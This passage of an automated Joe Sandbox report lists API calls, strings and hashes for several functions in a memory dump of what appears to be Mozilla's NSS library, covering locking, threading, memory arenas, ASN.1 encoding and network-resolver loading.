TlsGetValue.KERNEL32 ref: 6CA32937
EnterCriticalSection.KERNEL32(00000001), ref: 6CA3294B
PR_EnterMonitor.NSS3(?), ref: 6CA32966
PR_EnterMonitor.NSS3(?), ref: 6CA329AC
PR_ExitMonitor.NSS3(?), ref: 6CA329D1
PR_EnterMonitor.NSS3(?), ref: 6CA329F0
PR_EnterMonitor.NSS3(?), ref: 6CA32A15
PR_EnterMonitor.NSS3(?), ref: 6CA32A37
PR_ExitMonitor.NSS3(?), ref: 6CA32A61
PR_ExitMonitor.NSS3(?), ref: 6CA32A78
PR_ExitMonitor.NSS3(?), ref: 6CA32A8F
PR_ExitMonitor.NSS3(?), ref: 6CA32AA6

Part of subcall function 6CA69440: TlsGetValue.KERNEL32 ref: 6CA6945B
Part of subcall function 6CA69440: TlsGetValue.KERNEL32 ref: 6CA69479
Part of subcall function 6CA69440: EnterCriticalSection.KERNEL32 ref: 6CA69495
Part of subcall function 6CA69440: TlsGetValue.KERNEL32 ref: 6CA694E4
Part of subcall function 6CA69440: TlsGetValue.KERNEL32 ref: 6CA69532
Part of subcall function 6CA69440: LeaveCriticalSection.KERNEL32 ref: 6CA6955D

PK11_HPKE_DestroyContext.NSS3(?,00000001), ref: 6CA32AF9
free.MOZGLUE(?), ref: 6CA32B16
PR_Unlock.NSS3(?), ref: 6CA32B6D
PR_Unlock.NSS3(?), ref: 6CA32B80

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: Monitor$Enter$Value$Exit$CriticalSection$Unlock$ContextDestroyIdentitiesK11_LayerLeavefree
String ID:
API String ID: 2841089016-0
Opcode ID: 72019cae16452c438a05dd5b02c1187c8f8afe4c42b183cae3b7686d0697a75d
Instruction ID: f97954c7296a3e169e4556b2911d58dc84e1634e958f58b6a5cbd602b96cb022
Opcode Fuzzy Hash: 72019cae16452c438a05dd5b02c1187c8f8afe4c42b183cae3b7686d0697a75d
Instruction Fuzzy Hash: 1881F5B1A007015BE7209F39ED55B97B7E5AF14308F085928E89EC3B12EB35E599CB81

Function 6CAB9C60 Relevance: 27.2, APIs: 18, Instructions: 202threadCOMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000080), ref: 6CAB9C70
PR_NewLock.NSS3 ref: 6CAB9C85

Part of subcall function 6CA698D0: calloc.MOZGLUE(00000001,00000084,6C990936,00000001,?,6C99102C), ref: 6CA698E5

PR_NewCondVar.NSS3(00000000), ref: 6CAB9C96

Part of subcall function 6C98BB80: calloc.MOZGLUE(00000001,00000084,00000000,00000040,?,6C9921BC), ref: 6C98BB8C

PR_NewLock.NSS3 ref: 6CAB9CA9

Part of subcall function 6CA698D0: InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6CA69946
Part of subcall function 6CA698D0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C9216B7,00000000), ref: 6CA6994E
Part of subcall function 6CA698D0: free.MOZGLUE(00000000), ref: 6CA6995E

PR_NewLock.NSS3 ref: 6CAB9CB9
PR_NewLock.NSS3 ref: 6CAB9CC9
PR_NewCondVar.NSS3(00000000), ref: 6CAB9CDA

Part of subcall function 6C98BB80: PR_SetError.NSS3(FFFFE890,00000000), ref: 6C98BBEB
Part of subcall function 6C98BB80: InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,000005DC), ref: 6C98BBFB
Part of subcall function 6C98BB80: GetLastError.KERNEL32 ref: 6C98BC03
Part of subcall function 6C98BB80: PR_SetError.NSS3(FFFFE8AA,00000000), ref: 6C98BC19
Part of subcall function 6C98BB80: free.MOZGLUE(00000000), ref: 6C98BC22

PR_NewCondVar.NSS3(?), ref: 6CAB9CF0
PR_NewPollableEvent.NSS3 ref: 6CAB9D03

Part of subcall function 6CAAF3B0: PR_CallOnce.NSS3(6CB014B0,6CAAF510), ref: 6CAAF3E6
Part of subcall function 6CAAF3B0: PR_CreateIOLayerStub.NSS3(6CB0006C), ref: 6CAAF402
Part of subcall function 6CAAF3B0: PR_Malloc.NSS3(00000004), ref: 6CAAF416
Part of subcall function 6CAAF3B0: PR_NewTCPSocketPair.NSS3(?), ref: 6CAAF42D
Part of subcall function 6CAAF3B0: PR_SetSocketOption.NSS3(?), ref: 6CAAF455
Part of subcall function 6CAAF3B0: PR_PushIOLayer.NSS3(?,000000FE,00000000), ref: 6CAAF473

Part of subcall function 6CA69890: TlsGetValue.KERNEL32(?,?,?,6CA697EB), ref: 6CA6989E

EnterCriticalSection.KERNEL32(?), ref: 6CAB9D78
calloc.MOZGLUE(00000001,0000000C), ref: 6CAB9DAF
_PR_CreateThread.NSS3(00000000,6CAB9EA0,00000000,00000001,00000001,00000000,?,00000000), ref: 6CAB9D9F

Part of subcall function 6C98B3C0: TlsGetValue.KERNEL32 ref: 6C98B403
Part of subcall function 6C98B3C0: _PR_NativeCreateThread.NSS3(?,?,?,?,?,?,?,?), ref: 6C98B459

_PR_CreateThread.NSS3(00000000,6CABA060,00000000,00000001,00000001,00000000,?,00000000), ref: 6CAB9DE8
calloc.MOZGLUE(00000001,0000000C), ref: 6CAB9DFC
_PR_CreateThread.NSS3(00000000,6CABA530,00000000,00000001,00000001,00000000,?,00000000), ref: 6CAB9E29
calloc.MOZGLUE(00000001,0000000C), ref: 6CAB9E3D
_PR_MD_UNLOCK.NSS3(?), ref: 6CAB9E71
PR_SetError.NSS3(FFFFE890,00000000), ref: 6CAB9E89

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: calloc$CreateError$LockThread$CondCriticalSection$CountInitializeLastLayerSocketSpinValuefree$CallEnterEventMallocNativeOnceOptionPairPollablePushStub
String ID:
API String ID: 4254102231-0
Opcode ID: 7ee68610ed17fb80c850f3d18985af4429941df318897676f8c096846968be32
Instruction ID: ae1e03eca8a669fd97aee1fa0af6f4c6d1638177a0e65f6f0b93d916b3ff0fbc
Opcode Fuzzy Hash: 7ee68610ed17fb80c850f3d18985af4429941df318897676f8c096846968be32
Instruction Fuzzy Hash: F8616DB1A01706AFD714DF75D944AA7BBF8FF18208B04453AE81AD7B51E730E858CBA1

Function 6C9B3FF0 Relevance: 27.2, APIs: 18, Instructions: 201memoryCOMMON

Download Yara Rule

APIs

SECKEY_CopyPublicKey.NSS3(?), ref: 6C9B4014

Part of subcall function 6C9B39F0: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6C9B5E6F,?), ref: 6C9B3A08
Part of subcall function 6C9B39F0: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6C9B5E6F), ref: 6C9B3A1C
Part of subcall function 6C9B39F0: memset.VCRUNTIME140(-00000004,00000000,000000A8,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C9B3A3C

PORT_NewArena_Util.NSS3(00000800), ref: 6C9B4038

Part of subcall function 6CA00FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C9A87ED,00000800,6C99EF74,00000000), ref: 6CA01000
Part of subcall function 6CA00FF0: PR_NewLock.NSS3(?,00000800,6C99EF74,00000000), ref: 6CA01016
Part of subcall function 6CA00FF0: PL_InitArenaPool.NSS3(00000000,security,6C9A87ED,00000008,?,00000800,6C99EF74,00000000), ref: 6CA0102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000028), ref: 6C9B404D

Part of subcall function 6CA010C0: TlsGetValue.KERNEL32(?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA010F3
Part of subcall function 6CA010C0: EnterCriticalSection.KERNEL32(?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA0110C
Part of subcall function 6CA010C0: PL_ArenaAllocate.NSS3(?,?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA01141
Part of subcall function 6CA010C0: PR_Unlock.NSS3(?,?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA01182
Part of subcall function 6CA010C0: TlsGetValue.KERNEL32(?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA0119C

SEC_ASN1EncodeItem_Util.NSS3(00000000,-0000001C,00000000,6CACA0F4), ref: 6C9B40C2

Part of subcall function 6C9FF080: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6C9FF0C8
Part of subcall function 6C9FF080: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C9FF122

SECOID_SetAlgorithmID_Util.NSS3(00000000,00000004,00000010,00000000), ref: 6C9B409A

Part of subcall function 6C9FBE60: SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6C9AE708,00000000,00000000,00000004,00000000), ref: 6C9FBE6A
Part of subcall function 6C9FBE60: SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6C9B04DC,?), ref: 6C9FBE7E
Part of subcall function 6C9FBE60: SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6C9FBEC2

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C9B40DE
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C9B40F4
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C9B4108
SECITEM_CopyItem_Util.NSS3(00000000,?,00000010), ref: 6C9B411A
SECOID_SetAlgorithmID_Util.NSS3(00000000,00000004,000000C8), ref: 6C9B4137
SECITEM_CopyItem_Util.NSS3(00000000,-0000001C,-00000020), ref: 6C9B4150
SEC_ASN1EncodeItem_Util.NSS3(00000000,?,-00000010,6CACA1C8), ref: 6C9B417E
SECOID_SetAlgorithmID_Util.NSS3(00000000,00000004,0000007C), ref: 6C9B4194
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6C9B41A7
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C9B41B2
PK11_DestroyObject.NSS3(?,?), ref: 6C9B41D9
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C9B41FC
SEC_ASN1EncodeItem_Util.NSS3(00000000,-0000001C,00000000,6CACA1A8), ref: 6C9B422D

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: Util$Item_$Arena_$Copy$ArenaFree$AlgorithmEncodeError$Alloc_Value$AllocateCriticalDestroyEnterFindInitK11_LockObjectPoolPublicSectionTag_UnlockZfreecallocmemset
String ID:
API String ID: 912348568-0
Opcode ID: 3d61f748f455b43f16763c557a983be5b1d9da4eb40ac7623d5574204913c4d5
Instruction ID: 616008df3f2a15ee7d2e4934131cb40ed34216d69315b000d7d32dd4b338ce64
Opcode Fuzzy Hash: 3d61f748f455b43f16763c557a983be5b1d9da4eb40ac7623d5574204913c4d5
Instruction Fuzzy Hash: 4E5106B1F003007BF7109B25AD41B6776DC9F7424CF044528E96DE6B82FB31E518AAA2

Function 6C9F9890 Relevance: 26.5, APIs: 12, Strings: 3, Instructions: 273COMMON

Download Yara Rule

APIs

PORT_ArenaGrow_Util.NSS3(?,?,00000010,?,?,?,?,00000000,00000010,?,6C9F2403,00000000,00000000), ref: 6C9F9963
PORT_ArenaGrow_Util.NSS3(00000000,00000000,00000000,00000007,00000000,00000010,?,6C9F2403,00000000,00000000), ref: 6C9F98C0

Part of subcall function 6CA01340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6C9A895A,00000000,?,00000000,?,00000000,?,00000000,?,6C99F599,?,00000000), ref: 6CA0136A
Part of subcall function 6CA01340: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6C9A895A,00000000,?,00000000,?,00000000,?,00000000,?,6C99F599,?,00000000), ref: 6CA0137E
Part of subcall function 6CA01340: PL_ArenaGrow.NSS3(?,6C99F599,?,00000000,?,6C9A895A,00000000,?,00000000,?,00000000,?,00000000,?,6C99F599,?), ref: 6CA013CF
Part of subcall function 6CA01340: PR_Unlock.NSS3(?,?,6C9A895A,00000000,?,00000000,?,00000000,?,00000000,?,6C99F599,?,00000000), ref: 6CA0145C

malloc.MOZGLUE(00000007,00000000,00000010,?,6C9F2403,00000000,00000000), ref: 6C9F98D6
free.MOZGLUE(00000000), ref: 6C9F9B90

Strings

pkcs11:, xrefs: 6C9F98F5
abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-._~:[]@!$'()*+,=/?|, xrefs: 6C9F9A53, 6C9F9AF7
abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-._~:[]@!$'()*+,=&, xrefs: 6C9F9903, 6C9F99AE

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: Arena$Grow_Util$CriticalEnterGrowSectionUnlockValuefreemalloc
String ID: abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-._~:[]@!$'()*+,=&$abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-._~:[]@!$'()*+,=/?|$pkcs11:
API String ID: 1150520530-890694778
Opcode ID: 73321f0e19a3946faa4f4bc726c9658261663b769a6b91cc805a87c18187cd41
Instruction ID: 1af3ddafb75802afc60cf2c664a4fc52e253c1f41da605b712d56b92cb9696cb
Opcode Fuzzy Hash: 73321f0e19a3946faa4f4bc726c9658261663b769a6b91cc805a87c18187cd41
Instruction Fuzzy Hash: 38A18170E0420A9BDB04DFA5C880BBEB7B9FF4435DF114158D425A7A80E735EA56CBA1

Function 6C9F8E40 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 198stringmemoryCOMMON

Download Yara Rule

APIs

memchr.VCRUNTIME140(abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_,00000000,00000041,6C9F8E01,00000000,6C9F9060,6CB00B64), ref: 6C9F8E7B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,6C9F8E01,00000000,6C9F9060,6CB00B64), ref: 6C9F8E9E
PORT_ArenaAlloc_Util.NSS3(6CB00B64,00000001,?,?,?,?,6C9F8E01,00000000,6C9F9060,6CB00B64), ref: 6C9F8EAD
memcpy.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,?,6C9F8E01,00000000,6C9F9060,6CB00B64), ref: 6C9F8EC3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(5D8B5657,?,?,?,?,?,?,?,?,?,6C9F8E01,00000000,6C9F9060,6CB00B64), ref: 6C9F8ED8
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,6C9F8E01,00000000,6C9F9060,6CB00B64), ref: 6C9F8EE5
memcpy.VCRUNTIME140(00000000,5D8B5657,00000001,?,?,?,?,?,?,?,?,?,?,?,?,6C9F8E01), ref: 6C9F8EFB
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6CB00B64,6CB00B64), ref: 6C9F8F11
PORT_ArenaGrow_Util.NSS3(?,5D8B5657,643D8B08), ref: 6C9F8F3F

Part of subcall function 6C9FA110: PORT_ArenaGrow_Util.NSS3(8514C483,EB2074C0,184D8B3E,?,00000000,00000000,00000000,FFFFFFFF,?,6C9FA421,00000000,00000000,6C9F9826), ref: 6C9FA136

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C9F904A

Strings

abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_, xrefs: 6C9F8E76

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: ArenaUtil$Alloc_Grow_memcpystrlen$Errormemchrstrcmp
String ID: abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_
API String ID: 977052965-1032500510
Opcode ID: 47e77d77ee8cd50fbfbd6deb46d24cb901572dd41279b56cd627ce158395b1a8
Instruction ID: 50fb600b7a7f03876bddb5422123bb630ddb92e24105a5a2c96fb81b1f9bb57a
Opcode Fuzzy Hash: 47e77d77ee8cd50fbfbd6deb46d24cb901572dd41279b56cd627ce158395b1a8
Instruction Fuzzy Hash: 8D6191B5E001069FDB14CF56DD80AABB7B9FF85358F154128DC28A7700E732E95ACBA0

Function 6C9A8E00 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 193memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C9A8E5B
PR_SetError.NSS3(FFFFE007,00000000), ref: 6C9A8E81
PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C9A8EED
SEC_QuickDERDecodeItem_Util.NSS3(?,?,6CAD18D0,?), ref: 6C9A8F03
PR_CallOnce.NSS3(6CB02AA4,6CA012D0), ref: 6C9A8F19
PL_FreeArenaPool.NSS3(?), ref: 6C9A8F2B
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C9A8F53
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C9A8F65
PL_FinishArenaPool.NSS3(?), ref: 6C9A8FA1
SECITEM_DupItem_Util.NSS3(?), ref: 6C9A8FFE
PR_CallOnce.NSS3(6CB02AA4,6CA012D0), ref: 6C9A9012
PL_FreeArenaPool.NSS3(?), ref: 6C9A9024
PL_FinishArenaPool.NSS3(?), ref: 6C9A902C
PORT_DestroyCheapArena.NSS3(?), ref: 6C9A903E

Strings

security, xrefs: 6C9A8EE7

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: Arena$Pool$Util$CallErrorFinishFreeItem_Once$Alloc_CheapDecodeDestroyInitQuickmemset
String ID: security
API String ID: 3512696800-3315324353
Opcode ID: 4823a6e9ac121ae200054494140716860093e4b7fc9cb6f12e7b7c6971936f04
Instruction ID: 956847fe19bfbcdbc70cb86af005d76bb348b6f9535916ee061da1490ffbe29d
Opcode Fuzzy Hash: 4823a6e9ac121ae200054494140716860093e4b7fc9cb6f12e7b7c6971936f04
Instruction Fuzzy Hash: C5517BB1608340EBD7049A989C45FAB73ECAB8979CF11082EF95497B40D732D85EC797

Function 6CA6CD70 Relevance: 26.3, APIs: 10, Strings: 5, Instructions: 76COMMON

Download Yara Rule

APIs

PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6CA6CC7B), ref: 6CA6CD7A

Part of subcall function 6CA6CE60: PR_LoadLibraryWithFlags.NSS3(?,?,?,?,00000000,?,6C9DC1A8,?), ref: 6CA6CE92

PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6CA6CDA5
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6CA6CDB8
PR_UnloadLibrary.NSS3(00000000), ref: 6CA6CDDB
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6CA6CD8E

Part of subcall function 6C9905C0: PR_EnterMonitor.NSS3 ref: 6C9905D1
Part of subcall function 6C9905C0: PR_ExitMonitor.NSS3 ref: 6C9905EA

PR_LoadLibrary.NSS3(wship6.dll), ref: 6CA6CDE8
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6CA6CDFF
PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6CA6CE16
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6CA6CE29
PR_UnloadLibrary.NSS3(00000000), ref: 6CA6CE48

Strings

ws2_32.dll, xrefs: 6CA6CD75
getnameinfo, xrefs: 6CA6CDB2, 6CA6CE23
freeaddrinfo, xrefs: 6CA6CD9F, 6CA6CE10
getaddrinfo, xrefs: 6CA6CD88, 6CA6CDF9
wship6.dll, xrefs: 6CA6CDE3

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: FindSymbol$Library$Load$MonitorUnload$EnterExitFlagsWith
String ID: freeaddrinfo$getaddrinfo$getnameinfo$ws2_32.dll$wship6.dll
API String ID: 601260978-871931242
Opcode ID: 1c7627a15c8ea6bba31bd85855ec6438a5491f214f8c1de0fd395f8016ca8ec6
Instruction ID: f76ac5df458af97315c4732692f7de1305a9860e36b99716475b990e028b3509
Opcode Fuzzy Hash: 1c7627a15c8ea6bba31bd85855ec6438a5491f214f8c1de0fd395f8016ca8ec6
Instruction Fuzzy Hash: AF11D6A5F021215BDF01AA777C04A9E39A96B3214CF1C0538D816D3F00FB21E5C883F2

Function 6CAB1C60 Relevance: 25.6, APIs: 17, Instructions: 114COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000040,?,?,?,?,?,6CAB13BC,?,?,?,6CAB1193), ref: 6CAB1C6B
PR_NewLock.NSS3(?,6CAB1193), ref: 6CAB1C7E

Part of subcall function 6CA698D0: calloc.MOZGLUE(00000001,00000084,6C990936,00000001,?,6C99102C), ref: 6CA698E5

PR_NewCondVar.NSS3(00000000,?,6CAB1193), ref: 6CAB1C91

Part of subcall function 6C98BB80: calloc.MOZGLUE(00000001,00000084,00000000,00000040,?,6C9921BC), ref: 6C98BB8C

PR_NewCondVar.NSS3(00000000,?,?,6CAB1193), ref: 6CAB1CA7

Part of subcall function 6C98BB80: PR_SetError.NSS3(FFFFE890,00000000), ref: 6C98BBEB
Part of subcall function 6C98BB80: InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,000005DC), ref: 6C98BBFB
Part of subcall function 6C98BB80: GetLastError.KERNEL32 ref: 6C98BC03
Part of subcall function 6C98BB80: PR_SetError.NSS3(FFFFE8AA,00000000), ref: 6C98BC19
Part of subcall function 6C98BB80: free.MOZGLUE(00000000), ref: 6C98BC22

PR_NewCondVar.NSS3(00000000,?,?,?,6CAB1193), ref: 6CAB1CBE
PR_NewCondVar.NSS3(00000000,?,?,?,?,6CAB1193), ref: 6CAB1CD4
calloc.MOZGLUE(00000001,000000F4,?,?,?,?,?,6CAB1193), ref: 6CAB1CFE
PR_Lock.NSS3(?,?,?,?,?,?,?,6CAB1193), ref: 6CAB1D1A

Part of subcall function 6CA69BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6C991A48), ref: 6CA69BB3
Part of subcall function 6CA69BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6C991A48), ref: 6CA69BC8

PR_Unlock.NSS3(?,?,?,?,?,?,?,?,6CAB1193), ref: 6CAB1D3D

Part of subcall function 6CA4DD70: TlsGetValue.KERNEL32 ref: 6CA4DD8C
Part of subcall function 6CA4DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CA4DDB4

PR_SetError.NSS3(FFFFE890,00000000,?,6CAB1193), ref: 6CAB1D4E
PR_SetError.NSS3(FFFFE890,00000000,?,?,?,?,?,?,?,6CAB1193), ref: 6CAB1D64
PR_DestroyCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,6CAB1193), ref: 6CAB1D6F
PR_DestroyCondVar.NSS3(00000000,?,?,?,?,?,6CAB1193), ref: 6CAB1D7B
PR_DestroyCondVar.NSS3(?,?,?,?,?,6CAB1193), ref: 6CAB1D87
PR_DestroyCondVar.NSS3(00000000,?,?,?,6CAB1193), ref: 6CAB1D93
PR_DestroyLock.NSS3(00000000,?,?,6CAB1193), ref: 6CAB1D9F
free.MOZGLUE(00000000,?,6CAB1193), ref: 6CAB1DA8

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

